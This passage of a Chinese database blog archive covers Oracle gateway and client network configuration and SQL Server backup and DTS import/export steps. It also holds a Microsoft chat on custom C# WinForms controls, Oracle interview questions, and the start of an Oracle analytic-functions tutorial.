        INITRANS    1
        MAXTRANS    255
        TABLESPACE  users
        STORAGE   (
          INITIAL     131072
          NEXT        131072
          PCTINCREASE 0
          MINEXTENTS  1
          MAXEXTENTS  2147483645
        )
      /

      总结: WINDOWS下ORACLE9i网关服务器在$ORACLE9I_HOME\tg4msql\admin目录下的initsqlserver_databaseid.ora

      WINDOWS下ORACLE9i网关服务器listener.ora里面
          (SID_DESC=
            (SID_NAME=sqlserver_databaseid)
            (ORACLE_HOME=d:\Oracle\Ora92)
            (PROGRAM=tg4msql)
          )
         
          UNIX或WINDOWS下ORACLE8I,ORACLE9I服务器tnsnames.ora里面
      northwind =
        (DESCRIPTION =
        (ADDRESS_LIST =
            (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.2)(PORT = 1521))
          )
          (CONNECT_DATA =
            (SID = sqlserver_databaseid)
          )
          (HS = sqlserver_databaseid)
            )
                  
          sqlserver_databaseid一致才行.



      SQL Server导出导入数据方法

      一、导出导入SQL Server里某个数据库

      1.在SQL Server企业管理器里选中要转移的数据库,按鼠标右键,选所有任务->备份数据库。

      2.备份 选数据库-完全,
        目的 备份到 按添加按钮
        文件名 在SQL Server服务器硬盘下输入一个自定义的备份数据库文件名(后缀一般是bak)
        重写 选重写现有媒体
        最后按确定按钮。
        如果生成的备份数据库文件大于1M,要用压缩工具压缩后再到Internet上传输。
       
      3.通过FTP或者remote desktop或者pcanywhere等方法
        把第二步生成的备份数据库文件或者其压缩后的文件传到目的SQL Server数据库,如果有压缩要解压。
       
      4.目的SQL Server数据库如果还没有此数据库,先创建一个新的数据库;
        然后选中这个新创建的数据库,按鼠标右键,选所有任务->还原数据库
        还原->从设备->选择设备->磁盘->添加(找到要导入的备份数据库文件名)->确定
        还原备份集->数据库-完全
        最后按确定按钮。完全的数据库导入成功了。
        (如果在已经存在的SQL Server数据库上还原数据库可能遇到有还有其它人正在使用它而恢复操做失败,
         可以去看 ->管理->当前活动->锁/对象->找到数据库下锁的进程号->到查询分析器里用kill 进程号杀掉这些锁,
         然后再做还原)

      注意:如果在原有的目的SQL Server数据库上从备份文件(*.bak)还原数据库
            会把已经存在的表、存储过程等数据库对象全部替换成最近这次导入的备份数据库里的内容。
           
            如果一定要还原备份文件(*.bak)里部分数据,需要另外建一个新数据库,
            其逻辑名称和数量同备份文件(*.bak)里数据库的逻辑名称和数量一致;
            新数据库的物理文件名称取得一定要和备份文件(*.bak)里数据库的物理文件不一样才行。


      二、导出导入SQL Server里某个表

      1.没有防火墙,同一个局域网里或不在同一个局域网里,但通过Internet可以互相访问

        在SQL Server企业管理器里选中目的数据库 ,按鼠标右键,选所有任务->导入数据->
        弹出数据转换服务导入/导出向导窗口->下一步->
       
        选数据源-> 数据源(用于SQL Server的Microfost OLE DB提供程序)->
          服务器(可选择局域网内能访问到的所有SQL Server服务器,或者直接输入IP地址)->
          选择使用windows身份验证还是使用SQL Serve身份验证(输入数据库的用户名和密码)->
          数据库(可选择上面选中SQL Server服务器上所有权限范围内的数据库)->下一步->
       
        选择目的->目的(用于SQL Server的Microfost OLE DB提供程序)->
          服务器(默认为上一步里选中的导出服务器,也可以选其它局域网内能访问到的所有SQL Server服务器,或者直接输入IP地址)->
          目的数据库(可选择上面选中SQL Server服务器上所有权限范围内的数据库)->下一步->
       
        制定表复制或查询->选从源数据库复制表和视图(也可以选择用一条查询指定要传输的数据)->下一步->
          选择源表和视图->在要导入的表和视图前面选中源->目的出现同样的表名(可以手工修改成别的表名)->
          转换->列映射和转换里面可以修改源表和目的表之间字段的对应关系,修改目的表字段的类型和长度等,
          并可以选择创建目的表,在目的表中增加行,除去并重新创建目的表,启用标志插入等选项->确定->下一步->
       
        保存、调度和复制包->时间->立即运行(如果要实现隔一段时间自动导出导入数据,选调度DTS包以便以后执行)->
          保存(可以不选)->[ 保存DTS包(如果以后还要转移这批相同的数据,可以把本次导出导入的内容和步骤保存起来,
          存到SQL Server即可,保存的时候要输入DTS的包名及详细描述)->下一步-> ]->完成
       
        正在执行包->图形界面显示创建表及插入记录的步骤和状态->完成

      2.经过防火墙,不在同一个局域网里

      ①、导出表里的数据到文本文件:
          在SQL Server企业管理器里选中目的数据库,按鼠标右键,选所有任务->
          导入数据->弹出数据转换服务导入/导出向导窗口->下一步->

          选数据源-> 数据源(用于SQL Server的Microfost OLE DB提供程序)->
            服务器(可选择局域网内能访问到的所有SQL Server服务器)->
            选择使用windows身份验证还是使用SQL Serve身份验证(输入数据库的用户名和密码)->
            数据库(可选择上面选中SQL Server服务器上所有权限范围内的数据库)->下一步->

          选择目的->目的(文本文件)-> 文件名(在自己的电脑硬盘中生成一个自定义的文本文件) ->下一步->

          制定表复制或查询->选从源数据库复制表和视图(也可以选择用一条查询指定要传输的数据)->下一步->

          选择目的文件格式->源(选择要导出的表)->用默认的带分隔符->选第一行包含有列名称选项->下一步->

          保存、调度和复制包->时间->立即运行(如果要实现隔一段时间自动导出到文本文件,选调度DTS包以便以后执行)->
            保存(可以不选)-> [保存DTS包(保存的时候要输入DTS的包名及详细描述)->下一步->]->完成
       
          正在执行包->图形界面显示表到文本文件的步骤和状态->完成

          如果生成的文本文件大于1M,要用压缩工具压缩后再到Internet上传输。

      ②、通过FTP或者remote desktop或者pcanywhere等方法把
          第①步生成的文本文件或者其压缩后的文件传到目的SQL Server数据库,如果有压缩要解压。

      ③、把文本文件导入目的SQL Server数据库
          直接把文本文件导入目的SQL Server数据库里跟文本文件同名的新表名时,默认的会把所有字段类型都变成字符串。

          所以我们要这样做:
          在源SQL Server数据库上先生成创建表的sql语句

          在SQL Server查询分析器里->选中源数据库里表名->按右键->在新窗口中编写对象脚本->创建->
            复制下新窗口内创建表名的sql语句

          到目标SQL Server数据库上查询分析器里执行创建表名的sql语句,生成空表结构。
          (如果已经存在这样的表名,修改建表的sql语句,在表名后面加上导入时间的年月信息,例如table_0113)

          调用导入/导出工具->弹出数据转换服务导入/导出向导窗口->下一步->

          选数据源-> 数据源(文本文件)->
            文件名(已传到目的SQL Server数据库下要导入的文本文件,后缀可以不是*.txt,
            但是常规文本编辑器能打开的文件,文件类型选全部)->下一步->

          选择文件格式->用默认的带分隔符->选第一行包含有列名称选项->下一步->
            制定列分割符->逗号->下一步->

          选择目的->目的(用于SQL Server的Microfost OLE DB提供程序)->
            服务器(可选择目标局域网内能访问到的所有SQL Server服务器)->
            选择使用windows身份验证还是使用SQL Serve身份验证(输入数据库的用户名和密码)->
            数据库(可选择上面选中SQL Server服务器上所有权限范围内的数据库)->下一步->
       
          选择源表和视图->修改目的表名为刚才创建的表名->转换(在目的表中追加行) ->下一步->
          保存、调度和复制包->
            时间->立即运行(如果要实现隔一段时间自动把文本文件导入,选调度DTS包以便以后执行)->
            保存(可以不选)-> [保存DTS包(保存的时候要输入DTS的包名及详细描述)->下一步->]->完成
       
          正在执行包->图形界面显示文本文件到表的步骤和状态->完成

          如果要更改导入时间的年月信息的表名,例如table_0113到原来的表名,
          在企业管理器里把原来的表名改成table_old_0113,table_0113改名成table。
          这会对应用程序里频繁访问的表照成一定的中断。

      注意:源表上的建的索引和主键约束不能用上面介绍的1和2方法转移过来,还需要手工来建索引和主键。
            标志种子和not null的约束可以继承过来。
            导入视图时会把源视图里所有的真实数据导入成一个新表,而不是视图。


      三、SQL Server存储过程或用户定义的函数导出导入

      1、导出存储过程或用户定义的函数成*.sql文件

          在SQL Server企业管理器里选中源数据库,
          存储过程->单选或者多选中要转移的存储过程->
          用户定义的函数->单选或者多选中要转移的函数->
          按鼠标右键,选所有任务->生成SQL脚本->确定->在自己的电脑硬盘中生成一个自定义的*.sql文件->
            保存->正在生成SQL脚本->成功

      2、如果目的数据库经过防火墙,不在同一个局域网里,
         要通过FTP或者remote desktop或者pcanywhere等方法把第1步生成的*.sql文件传到目的SQL Server数据库服务器上。

      3、用查询分析器进入SQL Server目的数据库,
          从菜单里选文件->打开->打开查询文件->选中第1步生成的*.sql文件->点执行查询的绿色倒三角型快捷键->
          查询窗口里会出现执行后的消息(有时候可能因为存储过程和用户定义的函数之间有一定的依赖关系,会报一些错。
          最好先执行用户定义的函数的*.sql文件,再执行存储过程的*.sql文件)

      四、ORACLE数据库里表导入SQL Server数据库

      1、在目的SQL Server数据库服务器上安装ORACLE Client软件或者ORACLE ODBC Driver.
         在$ORACLE_HOME\network\admin\tnsnames.ora里配置ORACLE数据库的别名(service name)。

      2、在WIN2000或者win2003服务器->管理工具->数据源(ODBC)->

         系统DSN(本机器上NT域用户都可以用)->添加->ORACLE ODBC Driver->完成->

         data source name 可以自定义,我一般填ORACLE数据库的sid标志,
           description里可以填ORACLE数据库详细描述,也可以不填->

         data source service name 填第1步定义的ORACLE数据库别名->OK。

         (用户DSN和文件DSN也可以类似配置,但使用的时候有一些限制)

      3、SQL Server的导入和导出数据工具里->选数据源-> 数据源(其它(ODBC数据源))->
         选第2步在ODBC里定义的系统DSN source name,用户名密码处填写ORACLE系统的用户名和密码->
         下一步->选择目的,选SQL Server数据库(跟上面第二点讲的一致,就不重复了)。

          注意:在ORACLE表和SQL Server表之间'转换'那步很重要,
                可以改变默认的字段数据类型,如image->text,decimal->int


      五、SQL Server数据库里表导入ORACLE数据库

         方法一.导出目的选通过ODBC数据源里定义的ORACLE数据库, 注意ORACLE里表名都是大写的.
           我一般在ORACLE这边先生成好表结构,再选择SQL SERVER源表往ORACLE目的表里追加数据.
           数据传输速度比方法二慢.
        
         方法二.从SQL Server数据库导入数据到ORACLE数据库可以选择用Windows下ORACLE9i企业或者个人版数据库做中转。
         
         具体配置方法可以参考:
        
         Oracle 异构服务实践
         

          注意:ORACLE通过访问SQL Server的数据库链接时,用select * 的时候字段名是用双引号引起来的。


      ORACLE客户端连服务器的注意事项

      ORACLE客户端连服务器的注意事项:(转载)

              1. 通过SQL*NET协议,ORACLE客户端连服务器时一般需要配置sqlnet.ora和tnsnames.ora。
         它们默认的目录在$ORACLE_HOME/network/admin 目录下
        
         也可以设置环境变量TNS_ADMIN指向你想用的sqlnet.ora和tnsnames.ora目录
         例如:
         TNS_ADMIN=/home/oracle/config/9.0.1;export TNS_ADMIN
        
         sqlnet.ora文件决定找数据库服务器别名的方式
        
         默认的参数有
         NAMES.DEFAULT_DOMAIN = WORLD
         NAMES.DIRECTORY_PATH = (TNSNAMES, ONAMES, HOSTNAME)
        
         如果你的ORACLE客户端和服务器默认的域名不一样,需要用#号注释第一行
         #NAMES.DEFAULT_DOMAIN = WORLD
         使它不起作用。

                 NAMES.DIRECTORY_PATH指定找服务器别名的顺序 (本地的tnsnames.ora文件, 命名服务器, 主机名方式)
                
                 服务器的sqlnet.ora里可以设置检查客户端是否alive的时间间隔
                 sqlnet.expire_time = 10
                
                 tnsnames.ora文件里写数据库服务器别名的详细内容,有以下几种写法:

                 # 一般的写法          
                 APPDB =
                   (DESCRIPTION =
                     (ADDRESS_LIST =
                       (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.35)(PORT = 1521))
                     )
                     (CONNECT_DATA =
                       (SERVICE_NAME = appdb)
                     )
                   )

                 # 明确标明用dedicated方式连接数据库
                 APPD=
                 (DESCRIPTION=
                   (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.35)(PORT=1521))
                   (CONNECT_DATA=
                     (SERVICE_NAME=appdb)
                     (SERVER=DEDICATED)))
         
                 # 对多个listener端口做均衡负载方式连接数据库
                 APPS =
                   (DESCRIPTION =
                   (ADDRESS_LIST =
                       (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.35)(PORT = 1521))
                       (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.35)(PORT = 1856))
                    )
                     (CONNECT_DATA =
                       (SERVICE_NAME = appdb)
                     )
                   )   
               
           # 注意:如果数据库服务器用MTS,客户端程序需要用database link时最好明确指明客户端用dedicated直连方式,
           #       不然会遇到很多跟分布式环境有关的ORACLE BUG。
           #     一般情况下数据库服务器用直接的连接会好一些,除非你的实时数据库连接数接近1000。
                  
              2. /etc/hosts (UNIX)
                 或者windows\hosts(WIN98)  winnt\system32\drivers\etc\hosts (WIN2000)
                 客户端需要写入数据库服务器IP地址和主机名的对应关系。
                
                 127.0.0.1       localhost
                 192.168.0.35    oracledb oracledb
                 192.168.0.45    tomcat tomcat
                 202.84.10.193   bj_db   bj_db   
                
                 有些时候我们配置好第一步后,tnsping 数据库服务器别名显示是成功的,
                 但是sqlplus username/password@servicename不通,jdbc thin link 也不通的时候,        
                 一定不要忘了在客户端做这一步,原因可能是DNS服务器里没有设置这个服务器IP地址和主机名的对应关系。
                
                 如果同时有私有IP和Internet上公有IP,私有IP写在前面,公有IP写在后面。
                
                 编辑前最好留一个备份,增加一行时也最好用复制粘贴,避免编辑hosts时空格或者tab字符错误。
                
              3. UNIX下ORACLE多数据库的环境,OS客户端需要配置下面两个环境变量
             
                 ORACLE_SID=appdb;export ORACLE_SID
                 TWO_TASK=appdb;export TWO_TASK 
                
                 来指定默认的目标数据库。


      如何用C#定制个性化的界面控件

      聊天主题:如何用C#定制个性化的界面控件



      --------------------------------------------------------------------------------
      主持人和专家介绍主持人:Guest_jswang_MS 微软专家: 韩定一(Guest_Danny_MS),赵彦(Guest_Francs_MS)
      --------------------------------------------------------------------------------
      Host Guest_jswang_MS says: 欢迎大家参加微软在线技术聊天。
      Host Guest_jswang_MS says: 本次聊天的主题是如何用C#定制个性化的界面控件
      Host Guest_jswang_MS says: 首先,让我们欢迎来自微软全球技术中心工程师赵彦,韩定一
      Host Guest_Francs_MS says: 大家好,我是微软全球技术中心技术专员赵彦,很高兴今天能和大家一起在这里讨论。
      Host Guest_Danny_MS says: 大家好!我是微软全球技术中心(上海)技术专员韩定一。欢迎大家来和我们一起讨论问题。
      --------------------------------------------------------------------------------


      来宾提问 Q 和专家解答 A


      [Q] sarillafan : Hi, I want to ask one question, Is there any method to change the whole appliation style in a simple way?
      [A] 你可以将控件的Flat属性设为System,并写一个manifest文件
      [A] 想要让程序里的控件在Windows XP下呈现出XP的风格,请参考
      http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_vstechart/html/vbtchusingwindowsxpvisualstyleswithcontrolsonwindowsforms.asp


      [Q] xiaohei : manifest文件主要包括那些内容
      [A] 我刚才给出的链接里有的:
      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
      <assemblyIdentity   version="1.0.0.0"   processorArchitecture="X86"   name="Microsoft.Winweb.<Executable Name>"   type="win32"/>
      <description>.NET control deployment tool</description><dependency>   <dependentAssembly>     <assemblyIdentity       type="win32"       name="Microsoft.Windows.Common-Controls"       version="6.0.0.0"       processorArchitecture="X86"       publicKeyToken="6595b64144ccf1df"       language="*"     />   </dependentAssembly></dependency></dependency>......


      [Q]i在控件重画时,请问怎样可以实现不规则的渐变效果? [A].Net类库中有System.Drawing.Drawing2D.LinearGradientBrush可以画出渐变的效果, http://www.codeproject.com/cs/miscctrl/cutebutton.asp
      [A]如果自己画(drawline)可以定制更丰富的效果,但是实现比较复杂


      [Q]可否自定义渐变的公式?
      [A]所有东西都从底层做起,当然可以自己定义渐变公式


      [Q] sarillafan : 能不能给一点代码来示范如何画扁平的控件(Flat Control)
      [A] 重画菜单的例子有:http://www.codeproject.com/cs/miscctrl/vsnetmenu.asp,该例子画出了Visual Studio .NET样式的例子。
      [A] 重画工具栏的例子有:http://www.codeproject.com/cs/miscctrl/vsnettoolbar.asp
      [A] 需要扁平的下拉框控件,您可以参考http://www.codeproject.com/cs/miscctrl/vsnetcombobox.asp上的例子。


      [Q] seventh : 请问在重画过程中,能否改变MainMenu条的背景颜色?
      [A] 可以的,您可以重载 MenuItem.OnDrawItem()


      [Q] LiuLiu : 所有的控件都可以被重画吗?好像有的控件很复杂。
      [A] 是的。确实有的类比较复杂。例如:ComboBox、ToolBar。


      [Q] LiuLiu : 那么如何重画那些比按钮、窗体复杂的东东?例如Toolbar?
      [A] 您需要对许多事件响应函数进行重载,http://www.codeproject.com/cs/miscctrl/vsnettoolbar.asp上有例子。


      [Q] xiaohei : 能不能介绍一个自绘不规则窗体的例子及方法
      [A] 您可以将窗体设为透明,并利用贴图来实现


      [Q] seventh : 如果再redraw过程中大量贴图,似乎会使程序变得很慢,怎样能解决这个问题?
      [A] 可以开一个缓存Graphics对象,在那里面画好,再显示到屏幕上


      [Q]what is MSIL?
      [A]那是Microsoft intermediate language的简称
      [A].Net将所有其上的语言首先编译成IL,在执行的,这样就能使不同的语言在.Net平台上有几乎相同的表现,前提就是他们遵重规范,并能被编译成IL


      [Q]Shall we study IL just as we should study ASM?
      [A]不需要,IL对于上层语言的编写者是透明的,如果你了解IL规范,你就能开发一种.net支持的新语言了


      [Q] 在贴图过程中,我发现图片色彩的RGB值有时会很莫名地改变,影响到界面效果,请问为什么会导致这样的情况发生?可否避免?
      [A] 可能是由于您设图片的颜色位数太低了


      [Q] seventh : 如果我需要贴一些形状不规则的图片,是否一定要把图片设置成背景透明的gif图片,有时候这样很麻烦阿~!!
      [A] bitmap.maketransparent() 需要画出像Outlook那样的快捷方式栏可以参见
      http://www.codeproject.com/cs/miscctrl/OutlookBar.asp上的例子。 有关System.Windows.Forms.Control类的信息请参见MSDN:ms-help://MS.VSCC/MS.MSDNVS/cpref/html/frlrfSystemWindowsFormsButtonMembersTopic.htm


      [Q] maorachow : Question: if I created a C# program,can I run it on window98?
      [A] 如果您的Windows98装了.NET Framework的话,那是可以的


      [Q]做想vs.net里面的属性窗口的那种控件那有例子?
      [A]你可以看看MSDN上的例子:property grid
      http://samples.gotdotnet.com/quickstart/winforms/doc/ControlRef/PropertyGridCtl.aspx http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndotnet/html/usingpropgrid.asp http://msdn.microsoft.com/library/default
      [A] 您可以使用System.Windows.Froms.PropertyGrid类 http://www.codeproject.com/cs/miscctrl/globalizedpropertygrid.asp


      [Q] mmud : 我是说自动停靠的那种功能?PropertyGrid类有吗?
      [A] 控件有dockable的属性,可以设的


      [Q] xiaohei : 您可以将窗体设为透明,并利用贴图来实现,贴图功能怎么实现,举例说明一下好吗
      [A] 在Form上添加一个PictureBox即可


      [Q]C#是怎么实现XML的?
      [A]XML只是一个规范,.Net是基于XML构建的,C#能利用这种标准,与实现这种标准无关


      [Q] seventh : 在不可执行状态下的菜单条通常是灰色的,请问可否,如何重画?
      [A] 重载MenuItem类的OnPaint事件响应函数


      [Q] mmud: 那里还能看到聊天记录,比如以前的那些?
      [A] 上一次的聊天记录可以在
      http://www.microsoft.com/china/community/article.asp?oBODY=Chat/ChatRecord/chat0724&oXSLT=Chat/chat 找到


      --------------------------------------------------------------------------------


      小结
      Host Guest_Danny_MS says: 我来做一些小结


      [Q]什么是控件重画: [A]控件重画就是通过重载现有控件类或者重载System.Windows.Forms.Controls类来实现符合特殊要求的界面控件。这些控件可以具有特别的Style,特殊的事件响应等。


      有关System.Windows.Forms.Control类的信息请参见
      MSDN(ms-help://MS.VSCC/MS.MSDNVS/cpref/html/frlrfSystemWindowsFormsButtonMembersTopic.htm)


      有关本地化System.Windows.Forms.PropertyGrid的例子,请参见
      http://www.codeproject.com/cs/miscctrl/globalizedpropertygrid.asp


      有关重画按钮控件的例子,请参见
      http://www.microsoft.com/china/community/article.asp?oBODY=TechZone/TechArticle/TechDoc/redrawcomponent&oXSLT=TechZone/TechArticle/TechContenthttp://www.codeproject.com/cs/miscctrl/cutebutton.asp


      需要特殊的效果,例如渐变等,您可以使用System.Drawing.Drawing2D.LinearGradientBrush类
      ms-help://MS.VSCC/MS.MSDNVS/cpref/html/frlrfSystemDrawingDrawing2DLinearGradientBrushMembersTopic.htm


      需要画出像Outlook那样的快捷方式栏可以参见例子
      http://www.codeproject.com/cs/miscctrl/OutlookBar.asp


      需要扁平的下拉框控件,您可以参考例子
      http://www.codeproject.com/cs/miscctrl/vsnetcombobox.asp


      想要让程序里的控件在Windows XP下呈现出XP的风格,请参考
      http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_vstechart/html/vbtchusingwindowsxpvisualstyleswithcontrolsonwindowsforms.asp


      需要文件夹浏览器可以参考例子
      http://www.codeproject.com/cs/miscctrl/folderbrowser.asp


      对于TextBox的输入进行限制的例子请参见:
      http://www.codeproject.com/cs/miscctrl/maskedcsedit.asp


      控制任务栏里的TrayIcon的例子,请参见
      http://www.codeproject.com/cs/miscctrl/notifyiconex.asp


      重画菜单的例子有:
      http://www.codeproject.com/cs/miscctrl/vsnetmenu.asp


      该例子画出了Visual Studio .NET样式的例子。 重画工具栏的例子有:
      http://www.codeproject.com/cs/miscctrl/vsnettoolbar.asp


      采用Skin机制的例子有:
      http://www.codeproject.com/cs/miscctrl/SkinnedSlider.asp


      --------------------------------------------------------------------------------


      结束语


      Host Guest_jswang_MS says: 好,谢谢大家参加此次微软专家技术聊天。
      Host Guest_jswang_MS says: 同时也感谢赵彦和韩定一工程师能在百忙之中抽出时间参加聊天.
      Host Guest_jswang_MS says: 我们的聊天时间是下午4:00~5:00.希望下一次还可以看到大家.
      Host Guest_jswang_MS says: 下一次的话题是 .NET PassportHost
      Guest_jswang_MS says: 如果您有任何问题,请参加我们的新闻组 microsoft.public.cn.dotnet.frameworkmicrosoft.public.cn.dotnet.csharpHost Guest_jswang_MS says: 微软的邮件服务器是:msnews.microsoft.com 本次聊天到此结束,谢谢大家!



      Shaped Windows Forms and Controls in Visual Studio .NET
      http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_vstechart/html/vbtchShapedWindowsFormsControlsInVisualStudioNET.asp

      ORACLE 面试问题-技术篇

      | 1 Comment

             这也许是你一直期待的文章,在关注这部分技术问题的同时,请务必阅读有关面试中有关个人的问题和解答(这部分将在下几期中出现)。这里的回答并不是十分全面,这些问题可以通过多个角度来进行解释,也许你不必在面试过程中给出完全详尽的答案,只需要通过你的解答使面试考官了解你对ORACLE概念的熟悉程度。


       


      1. 解释冷备份和热备份的不同点以及各自的优点


       


      解答:热备份针对归档模式的数据库,在数据库仍旧处于工作状态时进行备份。而冷备份指在数据库关闭后,进行备份,适用于所有模式的数据库。热备份的优点在于当备份时,数据库仍旧可以被使用并且可以将数据库恢复到任意一个时间点。冷备份的优点在于它的备份和恢复操作相当简单,并且由于冷备份的数据库可以工作在非归档模式下,数据库性能会比归档模式稍好。(因为不必将archive log写入硬盘)


       


      2.  你必须利用备份恢复数据库,但是你没有控制文件,该如何解决问题呢?


           


      解答:重建控制文件,用带backup control file 子句的recover 命令恢复


      数据库。


              


      3.   如何转换init.oraspfile?


       


      解答:使用create spfile from pfile 命令


      .


      4.   解释data block , extent segment的区别(这里建议用英文术语)   


       


      解答:data block是数据库中最小的逻辑存储单元。当数据库的对象需要更多的物理存储空间时,连续的data block就组成了extent . 一个数据库对象


      拥有的所有extents被称为该对象的segment.


       


      5.  给出两个检查表结构的方法 


       


      解答:1DESCRIBE命令


                  2 DBMS_METADATA.GET_DDL


       


      6.     怎样查看数据库引擎的报错


       


      解答:alert log.


       


      7.     比较truncatedelete 命令


       


      解答:两者都可以用来删除表中所有的记录。区别在于:truncateDDL操作,它移动HWK,不需要 rollback segment .DeleteDML操作, 需要rollback segment 且花费较长时间.


       


      8.     使用索引的理由


       


      解答:快速访问表中的data block


       


      9.    给出在STAR SCHEMA中的两种表及它们分别含有的数据


       


      解答:Fact tables dimension tables.  fact table 包含大量的主要的信息而 dimension tables 存放对fact table 某些属性描述的信息


       


       


      10.  FACT Table上需要建立何种索引?


       


      解答:位图索引 bitmap index


       


      11. 给出两种相关约束?


       


      解答:主键和外键


       


      12. 如何在不影响子表的前提下,重建一个母表


       


      解答:子表的外键强制实效,重建母表,激活外键


       


      13. 解释归档和非归档模式之间的不同和它们各自的优缺点


       


      解答:归档模式是指你可以备份所有的数据库 transactions并恢复到任意一个时间点。非归档模式则相反,不能恢复到任意一个时间点。但是非归档模式可以带来数据库性能上的少许提高


      .


      14. 如何建立一个备份控制文件?


       


      解答:Alter database backup control file to trace.


       


      15. 给出数据库正常启动所经历的几种状态 ?


       


      解答:


       


      STARTUP NOMOUNT – 数据库实例启动


      STARTUP MOUNT      -  数据库装载


      STARTUP OPEN          – 数据库打开


       


      16. 哪个column可以用来区别V$视图和GV$视图?


       


      解答: INST_ID 指明集群环境中具体的 某个instance


       


      17. 如何生成explain plan?


       


      解答:


           运行utlxplan.sql. 建立plan


                针对特定SQL语句,使用 explain plan set statement_id = 'tst1' into plan_table


                 运行utlxplp.sql utlxpls.sql察看explain plan


       


      18. 如何增加buffer cache的命中率?


       


      解答:在数据库较繁忙时,适用buffer cache advisory 工具,查询v$db_cache_advice . 如果有必要更改,可以使用 alter system set db_cache_size 命令


       


      19. ORA-01555的应对方法?


       


      解答:具体的出错信息是snapshot too old within rollback seg , 通常可以通过


      增大rollback seg来解决问题。当然也需要察看一下具体造成错误的SQL文本


       


      20. 解释$ORACLE_HOME$ORACLE_BASE的区别?


      解答:ORACLE_BASEoracle的根目录,ORACLE_HOMEoracle产品


      的目录。

      Oracle 分析函数

      | 4 Comments

      Oracle 分析函数的使用(一)


      Oracle 分析函数使用介绍
         分析函数是oracle816引入的一个全新的概念,为我们分析数据提供了一种简单高效的处理方式.在分析函数出现以前,我们必须使用自联查询,子查询或者内联视图,甚至复杂的存储过程实现的语句,现在只要一条简单的sql语句就可以实现了,而且在执行效率方面也有相当大的提高.下面我将针对分析函数做一些具体的说明.

      今天我主要给大家介绍一下以下几个函数的使用方法
      1.  自动汇总函数rollup,cube,
      2.  rank 函数, rank,dense_rank,row_number
      3.        lag,lead函数
      4.        sum,avg,的移动增加,移动平均数
      5.        ratio_to_report报表处理函数
      6.        first,last取基数的分析函数


      基础数据




        Code: [Copy to clipboard]   
      06:34:23 SQL> select * from t;

      BILL_MONTH      AREA_CODE  NET_TYPE       LOCAL_FARE
      --------------- ---------- ---------- --------------
      200405          5761       G              7393344.04
      200405          5761       J              5667089.85
      200405          5762       G              6315075.96
      200405          5762       J              6328716.15
      200405          5763       G              8861742.59
      200405          5763       J              7788036.32
      200405          5764       G              6028670.45
      200405          5764       J              6459121.49
      200405          5765       G             13156065.77
      200405          5765       J             11901671.70
      200406          5761       G              7614587.96
      200406          5761       J              5704343.05
      200406          5762       G              6556992.60
      200406          5762       J              6238068.05
      200406          5763       G              9130055.46
      200406          5763       J              7990460.25
      200406          5764       G              6387706.01
      200406          5764       J              6907481.66
      200406          5765       G             13562968.81
      200406          5765       J             12495492.50
      200407          5761       G              7987050.65
      200407          5761       J              5723215.28
      200407          5762       G              6833096.68
      200407          5762       J              6391201.44
      200407          5763       G              9410815.91
      200407          5763       J              8076677.41
      200407          5764       G              6456433.23
      200407          5764       J              6987660.53
      200407          5765       G             14000101.20
      200407          5765       J             12301780.20
      200408          5761       G              8085170.84
      200408          5761       J              6050611.37
      200408          5762       G              6854584.22
      200408          5762       J              6521884.50
      200408          5763       G              9468707.65
      200408          5763       J              8460049.43
      200408          5764       G              6587559.23

      BILL_MONTH      AREA_CODE  NET_TYPE       LOCAL_FARE
      --------------- ---------- ---------- --------------
      200408          5764       J              7342135.86
      200408          5765       G             14450586.63
      200408          5765       J             12680052.38

      40 rows selected.

      Elapsed: 00:00:00.00




      1. 使用rollup函数的介绍




        Quote:
      下面是直接使用普通sql语句求出各地区的汇总数据的例子
      06:41:36 SQL> set autot on
      06:43:36 SQL> select area_code,sum(local_fare) local_fare
      06:43:50   2  from t
      06:43:51   3  group by area_code
      06:43:57   4  union all
      06:44:00   5  select '合计' area_code,sum(local_fare) local_fare
      06:44:06   6  from t
      06:44:08   7  /

      AREA_CODE      LOCAL_FARE
      ---------- --------------
      5761          54225413.04
      5762          52039619.60
      5763          69186545.02
      5764          53156768.46
      5765         104548719.19
      合计         333157065.31

      6 rows selected.

      Elapsed: 00:00:00.03

      Execution Plan
      ----------------------------------------------------------
         0      SELECT STATEMENT Optimizer=ALL_ROWS (Cost=7 Card=1310 Bytes=
                24884)

         1    0   UNION-ALL
         2    1     SORT (GROUP BY) (Cost=5 Card=1309 Bytes=24871)
         3    2       TABLE ACCESS (FULL) OF 'T' (Cost=2 Card=1309 Bytes=248
                71)

         4    1     SORT (AGGREGATE)
         5    4       TABLE ACCESS (FULL) OF 'T' (Cost=2 Card=1309 Bytes=170
                17)





      Statistics
      ----------------------------------------------------------
                0  recursive calls
                0  db block gets
                6  consistent gets
                0  physical reads
                0  redo size
              561  bytes sent via SQL*Net to client
              503  bytes received via SQL*Net from client
                2  SQL*Net roundtrips to/from client
                1  sorts (memory)
                0  sorts (disk)
                6  rows processed


      下面是使用分析函数rollup得出的汇总数据的例子
      06:44:09 SQL> select nvl(area_code,'合计') area_code,sum(local_fare) local_fare
      06:45:26   2  from t
      06:45:30   3  group by rollup(nvl(area_code,'合计'))
      06:45:50   4  /

      AREA_CODE      LOCAL_FARE
      ---------- --------------
      5761          54225413.04
      5762          52039619.60
      5763          69186545.02
      5764          53156768.46
      5765         104548719.19
                   333157065.31

      6 rows selected.

      Elapsed: 00:00:00.00

      Execution Plan
      ----------------------------------------------------------
         0      SELECT STATEMENT Optimizer=ALL_ROWS (Cost=5 Card=1309 Bytes=
                24871)

         1    0   SORT (GROUP BY ROLLUP) (Cost=5 Card=1309 Bytes=24871)
         2    1     TABLE ACCESS (FULL) OF 'T' (Cost=2 Card=1309 Bytes=24871
                )





      Statistics
      ----------------------------------------------------------
                0  recursive calls
                0  db block gets
                4  consistent gets
                0  physical reads
                0  redo size
              557  bytes sent via SQL*Net to client
              503  bytes received via SQL*Net from client
                2  SQL*Net roundtrips to/from client
                1  sorts (memory)
                0  sorts (disk)
                6  rows processed


